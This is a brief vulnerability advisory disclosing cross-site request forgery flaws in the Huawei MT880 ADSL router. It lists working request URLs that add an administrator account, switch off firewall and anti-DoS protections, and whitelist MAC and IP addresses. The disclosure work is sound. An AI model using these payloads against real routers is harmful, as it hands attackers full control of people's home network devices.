Huawei MT800 Cross Site Request Forgery

`Description:  
Huawei MT880 is a device offered by the algerian telecom operator - FAWRI, to provide ADSL Internet connexion and it's already widely in use.  
Overview:  
Huawei MT880 firmware and its default configuration has flaws, which allows LAN users to gain unauthorized full access to device.  
  
Here are just limited PoCs.  
Possible XSRFs:  
  
Adding an administrator user:  
http://192.168.1.1/Action?user_id=jerome&priv=1&pass1=jerome&pass2=jerome&id=70  
  
Disabling firewall/anti-DoS... features:  
http://192.168.1.1/Action?blacklisting_status=1&bl_list=10&attack_status=0&dos_status=0&id=42&max_tcp=25&max_icmp=25&max_host=70  
  
Adding a MAC address to the whitelist:  
http://192.168.1.1/Action?insrcmac66=123456789123&inblocksrcmac66=1&insrcmac67=000000000000&inblocksrcmac67=1&insrcmac68=000000000000&inblocksrcmac68=1&insrcmac69=000000000000&inblocksrcmac69=1&insrcmac70=000000000000&inblocksrcmac70=1&insrcmac71=000000000000&inblocksrcmac71=1&insrcmac72=000000000000&inblocksrcmac72=1&insrcmac73=000000000000&inblocksrcmac73=1&insrcmac74=000000000000&inblocksrcmac74=1&insrcmac75=000000000000&inblocksrcmac75=1&insrcmac76=000000000000&inblocksrcmac76=1&insrcmac77=000000000000&inblocksrcmac77=1&insrcmac78=000000000000&inblocksrcmac78=1&insrcmac79=000000000000&inblocksrcmac79=1&insrcmac80=000000000000&inblocksrcmac80=1&insrcmac81=000000000000&inblocksrcmac81=1&id=104  
  
Adding an IP address allowed by the firewall:  
http://192.168.1.1/Action?ip_1=192&ip_2=168&ip_3=1&ip_4=2&mask_1=255&mask_2=255&mask_3=255&mask_4=255&gateway_1=192&gateway_2=168&gateway_3=1&gateway_4=1&id=7  
  
Over flaws are not covered in this advisory.  
  
Cheers  
/JA  
  
Jerome Athias  
JA-PSI, French IT Security Company  
http://www.ja-psi.fr  
  
Are you ready to FRHACK?  
International, Technical IT Security Conferences & Trainings, September 7-11th, France  
http://www.frhack.org  
`